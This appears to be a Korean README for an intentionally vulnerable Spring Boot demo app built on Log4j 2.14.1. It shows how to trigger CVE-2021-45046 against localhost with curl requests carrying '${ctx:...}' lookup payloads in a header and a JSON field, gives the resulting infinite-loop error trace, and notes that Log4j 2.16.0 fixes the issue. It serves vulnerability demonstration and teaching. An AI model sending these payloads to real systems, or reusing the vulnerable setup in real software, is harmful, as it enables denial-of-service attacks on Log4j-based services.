Log4j2 취약 애플리케이션 샘플 (CVE-2021-45046)

영향을 받는 버전: 2.0-beta9부터 2.15.0까지의 모든 버전

이 애플리케이션은 CVE-2021-45046에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.

Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)을 사용합니다.

애플리케이션 실행

실행:

Java IDE에서 프로젝트를 Maven 프로젝트로 가져옵니다.

CVEMainApplication.java를 Spring Boot 앱으로 실행합니다.

익스플로잇 절차

그런 다음, 다음을 사용하여 익스플로잇을 트리거합니다:

GET 요청의 경우 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


POST 요청의 경우 ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'

무한 루프(Infinite loop)를 보여주는 출력을 확인하세요. 다만 테스트 중에는 이 무한 루프가 프로그램에 의해 식별되고 오류를 발생시키므로 이 DOS가 리소스를 많이 소모하지는 않는다는 것을 확인하지 못했습니다:


${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)

완화 방법 :

Log4j 2.16.0은 메시지 조회 패턴에 대한 지원을 제거하고 JNDI 기능을 기본적으로 비활성화하여 이 문제를 해결합니다.

log4j2-CVE-2021-45046

인기